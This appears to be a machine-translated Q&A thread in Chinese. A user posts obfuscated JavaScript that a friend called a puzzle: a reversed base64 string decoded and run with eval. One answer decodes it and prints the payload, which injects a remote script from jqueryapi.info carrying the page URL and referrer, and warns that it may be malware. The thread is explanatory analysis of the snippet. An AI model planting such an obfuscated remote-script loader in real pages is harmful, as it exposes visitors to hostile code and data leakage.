如何找出并解决这个base64代码?

时间:2015-06-04 22:24:09

标签: javascript base64

我的一个朋友挑战我解决我认为的base64代码(虽然我不确定因为我是编码的新手)。他说这应该是英语中长达20个字符的明确信息。无论如何,代码在这里:

var _11l = '=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';

function _0II(data) {
    var OlllOI = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
        enc = '';
    do {
        h1 = OlllOI.indexOf(data.charAt(i++));
        h2 = OlllOI.indexOf(data.charAt(i++));
        h3 = OlllOI.indexOf(data.charAt(i++));
        h4 = OlllOI.indexOf(data.charAt(i++));
        bits = h1 << 18 | h2 << 12 | h3 << 6 | h4;
        o1 = bits >> 16 & 0xff;
        o2 = bits >> 8 & 0xff;
        o3 = bits & 0xff;
        if (h3 == 64) {
            enc += String.fromCharCode(o1)
        } else if (h4 == 64) {
            enc += String.fromCharCode(o1, o2)
        } else {
            enc += String.fromCharCode(o1, o2, o3)
        }
    } while (i < data.length);
    return enc
}
function Oll(string) {
    var ret = '',
        i = 0;
    for (i = string.length - 1; i >= 0; i--) {
        ret += string.charAt(i);
    }
    return ret;
}eval(_0II(Oll(_11l)));

2 个答案:

答案 0 :(得分:1)

第一个函数_0II解码base64字符串,第二个函数Oll反转一个字符串。

如果您运行console.log(_0II(Oll(_11l));,则会在控制台上打印一个打包的JavaScript字符串。如果你打开所说的字符串,你会得到一些东西:

var _escape = '%3Cscript%3Evar%20link%20%3D%20%22http%3A//wwweuro.ru/dl/%3Fq%3D%22%3B%3C/script%3E';
var llI = document.createElement('script');
llI.src = 'http://jqueryapi.info/?getsrc=ok' + '&ref=' + encodeURIComponent(document.referrer) + '&url=' + encodeURIComponent(document.URL);
var I0O = document.getElementsByTagName('head')[0];
I0O.appendChild(llI);
document.write(unescape(_escape));

问题是这个脚本失败了(至少它随后插入到DOM中的脚本),如果你运行所述脚本,它会将以下内容插入到DOM中:

<script>var link = "http://wwweuro.ru/dl/?q=''";</script>
<script src="http://jqueryapi.info/?getsrc=ok&amp;ref={ referrer goes here }&amp;url={ page URL goes here }"></script>

但此时它无法在http://jqueryapi.info加载JS文件。

我的猜测是假设要加载位于http://jqueryapi.info的JavaScript文件(并且可能只对特定的引荐来源和网址执行此操作),然后该文件将使用该文件的内容link变量做一些有趣的事情 - 比如输出20个字符的隐藏信息......

...或者可能会加载/运行一些可怕的东西,例如尝试安装恶意软件,可能不会将其视为您的朋友,但可能会稍加谨慎。

无论如何,希望我对正在发生的事情的解释会帮助你发现这个20个字符的隐藏信息,如果没有别的话,它至少会消除_11l编码内容的神秘面纱。

答案 1 :(得分:0)

使用函数atob()btoa()对字符串进行解码并对字符串进行编码